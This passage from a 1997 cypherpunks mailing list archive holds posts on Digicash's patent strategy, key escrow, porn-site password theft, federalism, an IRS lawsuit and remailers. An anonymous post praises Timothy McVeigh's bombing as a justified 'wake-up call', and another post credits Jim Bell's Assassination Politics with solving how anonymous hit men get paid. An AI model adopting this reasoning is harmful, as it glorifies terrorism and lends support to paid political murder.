Also, the DNS top-levels are largely managed by governments or their
subcontractors - not just the root servers and NSI's .com/.org/etc,
but also .fr, .de, .ru, etc.  Some of this may change with the IAHC plan,
but some of it won't really.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 6 Jun 1997 04:06:07 +0800
To: cypherpunks@toad.com
Subject: e$: The greater fool theory of Digicash, quantified, roughly
Message-ID: <v03020955afbca7ee4c44@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 5 Jun 1997 09:31:10 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  e$: The greater fool theory of Digicash, quantified, roughly

At 10:18 pm -0400 on 6/4/97, Tim May wrote on cypherpunks:

> Chaum said he had to agree that these were good examples, and that he'd
> think about the issue furhter. He speculated during his panel presentation
> that possibly a mechanism could be found to allow such vendor or seller
> anonymity for _educational_ and similar materials, but not for other
> things...Froomkin and I were incredulous.

Sheesh. Silly "exemptions" to seller anonymity like this one indicate to me
that Chaum & Co. will *never* license the blind signature patent to anyone
with an actual useful purpose for it.

We're all going to have to sit around for another 10 years until that
patent's unencumbered for there to be any valid market for anonymous
digital cash -- or the other kinds of instantly-settled digital bearer
certificates that the patent enables. I suppose that's justice, as it means
that Chaum & Co. aren't going to make any money on the blind signature
patent, either.

If they don't wake up, that 10 years will be over soon enough. In about 5
years or so, just about the time this round of financing fantasy runs out,
potential developers will probably just decide to stick it out for the
remaining 5 years they don't have to pay a royalty. Digicash, Inc., will
become yet another a $10 million (at last estimate) technology rathole.
That $10 million, of course, doesn't include the current purchasers of the
technology, who are being left high and dry by Digicash's inability to
understand what market they are in.

First a bank, then a software company, now a credit card association
equivalent (onk?!), Digicash never has figured out that the only thing they
are is a financial cryptography company. The first, and best, of course,
but still financial cryptographers. Like Dolby, they should only license
and certify applications of the technology they invent. Period. Chaum could
have done that easily enough, say, $9.5 million and 10 years ago. He would
have gotten to keep all the family money he sunk into fun stuff like the
Digicash Building in the Netherlands and sales offices all over the planet,
because all he needed were a few cryptographers and licensing lawyers. He
would have probably gotten at least triple the $9.5 million of shareholder
equity that he wasted, all back in actual revenue over the intervening
years. Without spending a dime more in further capitalization. He would
have gotten a gross return on that $500k 1987 investment of say,
(30mil/500k ) = 6000%, just on earnings alone. If he went public in the
interim, a conservative estimate of market capitalization, assuming a
simple linear revenue growth curve (yielding a current revenue of $6
million a year) and a very conservative P/E ratio of 10, gives us
(6mil*10)= $60million. That's probably before the internet commerce
hockey-stick earnings kicked in, much less the rediculuous Netscape-era P/E
ratios internet companies now command. In engage in a little market-speak,
"what an incredible bungle of a unique value proposition". ;-).

Anyway, the Greater Fool Theory of Digicash has been proven once again,
with Chaum's own words as relayed by Mr. May.

Now maybe we know why J. Pierpont Morgan fired Edison from General Electric.

Hmmm... And why Negroponte fired *Chaum*?

Hey! Maybe there is hope?

Naaaaah....

Notice, of course, that Dr. Dolby (or his estate and heirs) probably still
owns his company, and is doing very well, thank you.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

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(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 6 Jun 1997 05:01:17 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Government money, Net picketing, and public fora (fwd)
In-Reply-To: <199706051315.IAA05428@einstein.ssz.com>
Message-ID: <3.0.1.32.19970605134859.007681f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:15 AM 6/5/97 -0500, Jim Choate wrote:
> Accepting public money does increase the criminal and civil obligations
> of the recipient as well as providing a lever for 3rd parties to become 
> involved on civil grounds.
>
>I'm not sure how I can get this idea through.

You're not doing very well.  I can see a number of possible meanings:

1) You want to be able to "picket" other people's net traffic,
and think that the amount of government funding out there gives you some 
standing to force some parts of the net to carry your "picket signs".
And therefore you keep posting similar vigorous assertions, in response
to other people's contentions that this would be bad.

2) You do/don't/don't-care think it's a good idea, but you're
trying to make the point that it _is_ theoretically something the
government could require, and are trying to get people to accept
this concept while they're arguing either that it would be bad,
or that it's not something they could require.

2b) As above, but you're further contending that, to be consistent,
the government _must_ apply their standards for picketing, union 
elections, etc., to the Internet (again, regardless of whether you
think this is good, bad, or ugly.)

3) You think that it would be OK for a service provider to do this
(whether or not you think it's a good idea) and are contending that
it's ok, while you think other people are arguing that it's not ok.

4) You want to accomplish something _like_ picketing, and think that
intercepting the picketee's traffic is required, as opposed to other
picketing-like methods available, and are trying to get agreement?

Is one of these your point?  Or is it something else, and I just don't
get what you're point is?  To me, it looks like you're just asserting
the same stuff repeatedly, and it's not clear why....



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 6 Jun 1997 05:18:22 +0800
To: cypherpunks@toad.com
Subject: Kill the children!
Message-ID: <199706052104.OAA03298@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



 When the United States Government murdered the child of Saddam Hussein
the common American attitude was "broken eggs, and all that." I know
because I lamented the act and was roundly criticized as an idiot who
didn't understand how the real world works, etc., etc, justify, justify.
 When the chickens come home to roost, however, after yet another U.S.
Government act of aggression, there is a great hue and cry throughout
the land about only a "monster" could kill children. Suddenly, the lives
of children become so precious and sacrosanct that those responsible for
taking those lives must be given supreme punishment.

  God bless Timothy McVeigh for exposing the mindless hypocrisy of the
American people, as well as the _mindful_ hypocrisy of the Government
Rulers of Amerika.
  Billy Graham, as the populist representative of Christianity, visits
the White House but we are little likely to see him visiting McVeigh
because some children's lives seem to be more precious than others, and
those who take them are subject to different moral judgments.

 A famous newspaper correspondent received a telegram from his editor
questioning his expense report, which listed a huge bill for a breakfast
which included caviar.
 The reporter telegraphed back, "Eggs is eggs."

 The message of the American people and the U.S. Government is being
received loud and clear: "American eggs are more precious than foreign
eggs. The eggs of _normal_ (translate=="mainstream") Americans are more 
precious than _aberrant_ (translate--"cult") eggs."
 The message of the American news media is loud and clear: "Break some
lifeless buildings with your bombs and we will make you a side dish in
the back pages of some minor publication. Break enough eggs and we will
make an omlette big enough to feed the entire world."

 Waco was nothing more than a "wake-up call" that many Americans slept
through. Timothy MvVeigh did not--he woke up and crowed loud enough for
all of us to hear. The American government, people and press, however,
want merely to shut him up and go back to sleep, pretending that there
still isn't enough light to see their own sins and rectify them.
 There are no telling how many lives could be saved if the press wrote
meaningfully about the inevitability of chickens coming home to roost
instead of supporting the notion that the solution to a crowing cock is
to cut his head off.
 There are other roosters in the barnyard. There will be more sunrises.

 Americans are now loudly calling for McVeigh to receive an electrical
message complaining about the high cost of the breakfast bill on the 
expense report he provided us.
 I wouldn't be surprised if his final words were, "Eggs is eggs."

Anne Accountant





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Fri, 6 Jun 1997 05:19:44 +0800
To: cypherpunks@cyberpass.net
Subject: TV Commercial
Message-ID: <v03102804afb1690a6994@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



Today on TV, I saw an advertisement.

Image:	Two ships exchanging searchlight-type signals.

Voiceover:
	It's common sense, really.
	You should be able to communicate with anyone
	without worring about the security of your communications.

	Sprint PCS. Secure digital communications.

It's nice to see that a large multinational corporation is
publicly expousing cypherpunk attitudes.

(The reality of their phones is not as encouraging, but...)

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Fri, 6 Jun 1997 02:53:17 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <m8oT8D10w165w@bwalk.dm.com>
Message-ID: <339714A7.66A7@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> 
> Kent Crispin <kent@songbird.com> writes:
> ...
> > Clinton has a *very* successful career as a politician, and has done
> > a great deal for Intel, in that role.  And he is a great family man
> > who also gets along well with a host of people.
Family Man?  Yeah, wife, kid, and several sluts he had affairs with. 
He's a great family man, alright.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nelson@media.mit.edu (Nelson Minar)
Date: Fri, 6 Jun 1997 02:55:47 +0800
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Password pirates plunder XXX sites, from The Netly News
In-Reply-To: <199706051708.NAA09369@life.ai.mit.edu>
Message-ID: <199706051836.OAA01401@pinotnoir.media.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



[about people stealing passwords to porn sites]
>>Although you can never completely eliminate it, technological fixes
>>to do velocity checking, source IP address profiling, etc., seem so
>>obvious I just don't see how this can be any sort of insurmountable
>>problem...

Maybe so, maybe not.

>I think the problem is that a large number of the people who run porn
>sites are neither technically sophisticated nor well funded.

That profile's not exactly accurate. Some of the folks running porn
sites are very sophisticated. More to the point, I don't know of *any*
site that does the sort of protection proposed above. I don't think
it's an easy thing to do. An enterprising person could probably turn
quite a few bucks selling that sort of system.

But do the porn sites want it? The stolen passwords might partly serve
as free advertisement. The situation might be similar to (some kinds
of) pirated software. The stolen version acts as a teaser but
(hopefully) the consumer will eventually pay himself in order to have
more convenient access.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 6 Jun 1997 03:16:11 +0800
To: nelson@media.mit.edu
Subject: Re: Password pirates plunder XXX sites, from The Netly News
In-Reply-To: <199706051836.OAA01401@pinotnoir.media.mit.edu>
Message-ID: <199706051855.OAA20888@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



> >I think the problem is that a large number of the people who run porn
> >sites are neither technically sophisticated nor well funded.
> 
> That profile's not exactly accurate. Some of the folks running porn
> sites are very sophisticated. 

Yes but I don't think those are the ones complaining. I noted that one
of the porn sites has a implemented a very sophisticated version of
the "referer" payment scheme I once proposed.

> More to the point, I don't know of *any*
> site that does the sort of protection proposed above. I don't think
> it's an easy thing to do. An enterprising person could probably turn
> quite a few bucks selling that sort of system.

I'm sure a lot of folks are coding away as we speak. It would be a snap
to do it for a threaded server like IIS. On Netscape the interpocess
communications load would almost certainly burn you.

> But do the porn sites want it? The stolen passwords might partly serve
> as free advertisement. The situation might be similar to (some kinds
> of) pirated software. The stolen version acts as a teaser but
> (hopefully) the consumer will eventually pay himself in order to have
> more convenient access.

This could well be the nub of the matter. It could well be the case that
a lot of the passwords are sent out by the companies themselves. I note
that there is a usenet group alt.sex.passwords...


	Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 6 Jun 1997 03:02:38 +0800
To: cypherpunks@einstein.ssz.com
Subject: Arguments for good crypto and against GAK.
Message-ID: <199706051819.NAA06360@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



I frequently find myself explaining to the
uninitiated the whole crypto mess, and have come up
with a line of arguments which I find work fairly
effectively.

Basically, I take the tack that strong encryption will
help prevent crime, espionage, and terrorism, while 
weak and/or GAKed crypto will promote it. There are 
good arguements for this position.

We lock our houses, cars, etc. This activity is
promoted by the police as a crime prevention measure,
although it unquestionably makes it more difficult for
them to serve search warrants, etc. They realize that 
good locks prevent far more crime than would their
unfettered access to unlocked property.

Crypto works the same way as good locks, but in the 
data sphere. While it would clearly make 
court-authorized wiretaps more difficult (but not 
impossible), it also stops the far more frequent
unauthorized interception of messages by criminals
(whether in or out of government).

At this point I usually give some recent examples 
of losses that might have been prevented by good
crypto - cell phone cloning fraud and eavesdropping,
the recent credit card sniffer, etc. Going back a 
couple of years, some hackers on the west coast
modified major backbone routers to record ftp and
telnet passwords, etc. If the audience is aware of
the putative info-war threat, I can work that in 
as another threat that good crypto can put a stop to.

If the question arises 'well, why does the FBI, etc,
seem so worried about the widespread use of crypto?',
I have a response.

"There's an old saying: 'When you're up to your ass in
alligators, it's hard to remember that you're trying
to drain the swamp.'"

We have law enforcement agencies because we want 
people and their property to be safer. However, the
FBI and other LEAs actually do very little to 
directly *prevent* crime; almost all of their efforts
are post-facto, designed to catch criminals, or make
it easier to catch them, *after* they've already
committed one or more offences. While a criminal in 
jail is only rarely a menace to society at large, 
most criminals get away with many crimes before 
they are caught - if this was not the case, there 
would be no such thing as a 'career criminal'.
LEAs have little motivation to prevent crime - there
is not much career or budget boost in a robbery which
did not take place, a murder which was not committed,
or a spy who could not get the data he sought. 

Widespread and effective use of good crypto acts 
before the fact, preventing crimes from occuring 
in the first place. While it certainly would make
some wiretaps more difficult (and here I bring up 
the very low number of wiretaps preformed in the 
US compared to the number of crimes), on the balance
it is clear that the use of good security is a win.

If you ask most people if they had a choice between
a high crime rate with some of the criminals being
caught, and a much lower crime rate with a slightly
higher chance of them getting away, most people who
are not part of the LEA establishment will instantly
opt for the latter.

As for GAK, there are two basic arguements I use. First, 
I ask them how they would feel if their town required
that copies of all house, car, and file cabinet keys
be deposited with the local cops 'just in case they
need to serve a search warrant'. Most people are 
rightly appalled by the idea. 

Secondly, I describe the idea of key escrow agencies
and "TTPs", and how they would create huge storehouses
of private keys. I point out what a target of 
opportunity these archives would provide to criminals and
spies - by compromising the security of a single site, 
they could unlock the private, confidential information
of thousands of individuals and corporations. Depending
on the audience, I might bring up Filegate, Aldrich
Ames, the Walker case, etc, to demonstrate that even
the government can't be relied on to keep secrets
("despite their best intentions"), and re-emphasize the
catastrophic single-point-of-failure that GAK
represents.

In short, it's possible to pro-crypto, anti-GAK 
without ever getting near sounding  anti-government; 
in fact, being pro-crypto, anti-GAK can be a 
conservative, anti-crime, law & order position.

Peter Trei
trei@process.com


 

 

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Thu, 5 Jun 1997 16:36:39 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: May's Banal Rant
In-Reply-To: <19970603161233.30762@bywater.songbird.com>
Message-ID: <199706050823.QAA09314@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain




> Crypto-anarchy is like communism -- great in theory, impossible in
> practice.

What "Communism" ?

Bolshevik-ism perpetrates heirarchies as a design principle.

This is obviously some new definition of the word "great" that I have 
been previously unaquainted with.

Peter Nicol
Global Media Magnet
nicol@iap.net.au
019 111 943

"Nonlinear models differ form linear ones in a number of ways.  
Rather than trying to figure out all the chains of causality, 
the modeler looks for nodes where feedback loops join and tries 
to capture as many of the important loops as possible in the 
system's "picture."  Rather than shaping the model to make a 
forecast about future events or to exercise some central 
control, the nonlinear modeller is content to perturb 
the model, trying out different variations in order to 
learn about the system's critical points and its homeostasis 
(resitance to change).  The modeler is not seeking to 
control the complex system by quantifying it and mastering 
its causality; she wants to increase her "intuitions" 
about how the system works so she can interact with 
it more harmoniously."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 6 Jun 1997 07:30:24 +0800
To: cypherpunks@cyberpass.net
Subject: Founding Fathers & Federalism
Message-ID: <v03102802afbcf90825bd@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



Joseph Sobran


Founding fathers thought the federal government should be kept on a short leash

The word "federalism" is enjoying a new vogue these days, as Republicans
promise to give power "back to the states." But the way the power is given
"back" has little to do with what the founding fathers meant by
"federalism."

In the current welfare reform bill, for example, the states are given power
to regulate welfare programs, but with strings attached. The power is
considered
to come from the federal government, which supposedly "grants" it to the
states.

This is a reversal of what our ancestors meant by federalism - namely, that
the states were the source of the federal government's powers. The states,
through the Constitution, "delegated" a few carefully specified powers to
the federal government. Whatever wasn't delegated was "reserved" to the
states and the
people.

The federal government was supposed to be kept on a short leash, lest it
claim powers never given to it. Today it routinely claims countless powers
unmentioned in the Constitution. When a national health-care program is
proposed, for example, we no longer ask the basic question: Just where does
the Constitution grant this power?

Answer: Nowhere. Then how did the federal government acquire so many
unlisted powers? By the insidious process of "consolidation," which the
Constitution was meant to prevent. So why didn't the Constitution prevent
it? Because the federal government systematically reinterpreted the
Constitution in its own favor.

In the 1798 Kentucky Resolutions, Thomas Jefferson warned that the federal
government must never be allowed to become the final arbiter of the extent
of its own powers. His warning was disregarded. Eventually the Supreme
Court was allowed to treat the Constitution as a "living document" - one
whose meaning was not fixed but fluid, alterable at the discretion of those
currently in power. Of course this defeats the whole purpose of a
Constitution, or indeed any written law.

What would a truly federal system look like? The possibilities are
infinite. If the states were permitted to keep their individuality, we
might have a checkerboard of socialist and free economies, instead of a
single "mixed" economy imposed on all. Americans who preferred a welfare
state, even if it meant higher taxes, might move to New York; Americans who
preferred laissez-faire might migrate to Texas.

In the long run, the states that imposed too many burdens on their citizens
would lose population, business and finally tax monies to freer states. A
federal system would create a sort of "market" in states, with citizens as
consumers choosing among them.

To the founders it was axiomatic, that government should be limited not
only in the number of powers it exercised, but in the extent of territory
it ruled. The small and local were preferable to the vast and national. If
one state or local government should exceed its proper powers, citizens
should be able to escape it without leaving the continent.

"Federalism" has come to sound complex, abstract and technical. But it's a
simple principle: Keep power as local as possible. Give a central
government very few powers, and hold it strictly to them.

The idea will become vivid to anyone who reads the Federalist Papers, the
writings of the Anti-Federalists, the works of Jefferson, and of course the
Constitution itself. The whole debate over ratifying the Constitution
revolved around the question whether the federal government, given a few
powers, would proceed to "usurp" more power - tyrannical power.

All sides in the ratification debate would have agreed that the federal
government should never be permitted to reach, or even approach, the size
and
scope it has achieved in the late 20th century. The chief difference
between the Federalists and the Anti-Federalists is that the Federalists
insisted that it could never happen under the Constitution. History has
proved the Anti-Federalists right.

It's a scandal that so few realize this. It's also an indictment of our
educational system, which blandly purveys the view that America's history
has been one of smooth continuity and "progress." The more the Constitution
is disregarded, the more we're assured that it's being "fulfilled."

The remedy isn't private militias. It's guerrilla education, to ensure that our
children learn what the schools won't teach them.

Joseph Sobran is a syndicated columnist.


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 6 Jun 1997 07:39:14 +0800
To: cypherpunks@toad.com
Subject: Re: Kill the children!
In-Reply-To: <199706052104.OAA03298@fat.doobie.com>
Message-ID: <v03102801afbcf5ac5ba1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



> There are no telling how many lives could be saved if the press wrote
>meaningfully about the inevitability of chickens coming home to roost
>instead of supporting the notion that the solution to a crowing cock is
>to cut his head off.

The only newspaper article I've read about such matters was written about
three months ago by Joseph Sobran(sp?).  He's a regular libertarian pundent
in the Las Vegas Review Journal's Sunday edition, and certainly not
mainstream.  If 60-minutes, or an equivalent TV journal, would have the
nerve to carry such a segment it might open quite a few eyes which will
otherwise remain closed.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sja@tekla.fi (Sakari Jalovaara)
Date: Thu, 5 Jun 1997 22:25:03 +0800
To: user@rand.org
Subject: Re: nude gifs plz
Message-ID: <9706051358.AA13925@poveri.tekla.fi>
MIME-Version: 1.0
Content-Type: text/plain



> plz sends da gifz of naked chicks!!!

http://slis6000.slis.uwo.ca/~sadem/chicks.htm
									++sja





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 6 Jun 1997 07:11:17 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: IRS Hit
In-Reply-To: <199706051429.JAA02097@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970605165629.4047B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 5 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <1.5.4.32.19970605134956.008db240@pop.pipeline.com>, on 06/05/97 
>    at 08:49 AM, John Young <jya@pipeline.com> said:
> 
> >In a harshly worded 17-page opinion, Judge William Downes of  the U.S.
> >District Court in Denver found that one of the IRS  agents, James Dolan,
> >was "grossly negligent" and acted with  "reckless disregard" for the law,
> >and that he made three false  statements in a sworn declaration.
> 
> So why is James Dolan still working for the IRS?
> 
> Why is he not under enditement for perjury?
> 
> Oh I forgot Federal Agents are "just a group of humans" so I guess we
> shouldn't expect the laws of the land to apply to them.
> 

The defendant is perfectly able to bring charges in this matter against
James Dolan personally.  There is precedent in this.  If my read of
the judge is accurate he is saying, "go after him because he was acting
outside his office".

I can't remember the exact name of this decision, but I think it was
something like "so-and-so vs. 5 unnamed FBI officers".

I'm not a lawyer and I'm not sure how one would proceed in this case,
but some official anti-IRS group should fund it.

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 6 Jun 1997 08:35:49 +0800
To: Jim Burnes <whgiii@amaranth.com>
Subject: Re: IRS Hit
In-Reply-To: <199706051429.JAA02097@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970605170523.00886470@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:59 PM 6/5/97 -0600, Jim Burnes wrote:
>The defendant is perfectly able to bring charges in this matter against
>James Dolan personally.  There is precedent in this.  If my read of
>the judge is accurate he is saying, "go after him because he was acting
>outside his office".
>
>I can't remember the exact name of this decision, but I think it was
>something like "so-and-so vs. 5 unnamed FBI officers".

It's _Bivens v. Six Unknown Federal Narcotics Agents_, 403 US 388 (1971),
or <http://www.findlaw.com/cgi-bin/getcase.pl?court=US&vol=403&invol=388>.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kris Carlier <root@iguana.be>
Date: Fri, 6 Jun 1997 02:53:20 +0800
To: Tim May <tcmay@got.net>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <v03102800afbc0d343106@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970605172447.9706C-100000@inlimbox.iguana.be>
MIME-Version: 1.0
Content-Type: text/plain



Hi Tim,

> >as it is in northern Ireland, Palestine/Israel, and the USA.  Neither side
> >is likely to get tired and go home.  The only long-term solution is to
> >learn to live together.
>   ^^^^^^^^^^^^^^^^^^^^

> When I hear people talk about "why can't we just get along together?" and
> its variants, I reach for my .45.

Why is it that so many people on the other side of the ocean still think
they are in the Far West ?

> "Learning to live together" is absurd when the other side has stolen
>  your land.
   ^^^^

'your' land ? Oh, you mean what Columbus did ?
Otoh, you're right. The best way to solve problems is to kill the
problem-maker(s at both sides). But be sure to kill everyone, including
babies and such. And don't forget to kill everyone you suspect might one
day think (s)he is a far-far-descendant of the killed ones... Let's blow
up the earth, while we're on it ?
not! The major reason people can't live together is furnished by
politicians who feel they should make it to history books ;-(

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier@iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 6 Jun 1997 09:32:12 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Bell/Vulis Ranters (Was: Re: McVeigh)
In-Reply-To: <3.0.2.32.19970603171127.036e9fd0@panix.com>
Message-ID: <3.0.1.32.19970605173645.007431f0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



	[Well, this should trigger most people's killfiles.... :-)]

At 05:29 PM 6/3/97 -0400, Hallam-Baker wrote:
>I'll accept that the ranting faction do some good work but I've 
>not seen anything usefull out of either Bell or Vulis unless that
>is you are an FBI agent looking to get a promotion from Freeh.

Vulis has contributed a few good things to the remailer discussions,
such as methods for keeping block lists as hashes rather than plaintext,
which potentially increases privacy of people on publicly accessible lists.
(I say "potentially", because I don't think anyone's implemented it,
but it's clearly the Right Thing to do.)
However, he's deliberately made himself annoying to everyone,
without the redeeming social value in most of his posts that
arch-ranters like Detweiler had, and even his useful posts generally
include gratuituous vulgar insults.

Bell's value, by contrast, has been in the Assassination Politics work.
Sure, he's a mostly one-track ranter, to the extent that lots of people 
got fed up with it, but much of his analysis is sound even though
his advocacy of it is pretty dodgy.  I don't think that anybody is
likely to set up this sort of Assassination Pool on a regular basis,
but he does solve one of the fundamental difficulties with it -
how to let the real hit man claim that he did the job and where to
send his payment when the deal is handled entirely over the net
(and thus there's no good way to prove who done it vs. who's claiming
they did it to get the money.)  Some of these techniques may be useful
when applied to other problems in the emerging Internet economy;
it gets at issues of repudiation of anonymous transactions,
need for (real) escrow, etc.

Bell's point that government would be much better behaved if the individuals
in government could be held individually and personally responsible
for their actions is certainly valid.  Whether shooting them is an 
appropriate way to hold them responsible is another discussion (:-).

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 6 Jun 1997 09:25:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Who "invented" remailers?
In-Reply-To: <199706040344.XAA12280@muesli.ai.mit.edu>
Message-ID: <3.0.1.32.19970605181309.00767c08@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:39 PM 6/3/97 -0700, Tim May wrote:
>At 8:44 PM -0700 6/3/97, Hallam-Baker wrote:
>>The point I was making was rather different, I think the total volume
>>of PGP mail of all types is probably not a large enough fraction of the
>>trafic on the net to be secure.  Taking any use of PGP as prima facie
>>evidence of subversive activity probably provides a reasonable cut.
>
>If you mean as prosecutable offense, I don't think you fully understand the
>laws of the United States. Much as we like to criticize the U.S., and bad
>laws, and whatnot, there is no such thing as "prima facie evidence of
>subversive activity," at least not since the House Unamerican Activities
>Committee and Joe McCarthy.

There's prosecution and there's investigation (and there's harassment.)
If the number of people using the remailers and PGP is small,
then it's easier to compile and expand the list of "usual suspects"
who can be checked out more carefully with other means.

For a real-world case, a friend of mine who lives in a Third World kleptocracy
has a copy of PGP, but doesn't want to risk using it except for
very critical mail, because his email and phones are routinely tapped
(it's the kind of place that when he got a new higher-speed modem the
phone company called him up and asked him what he was doing....)
The local thugs were considering stealing the computer that forwards his
email,
but were deterred by the argument that it's password-protected so 
they won't be able to use it if they steal it.  PGP would really stand out,
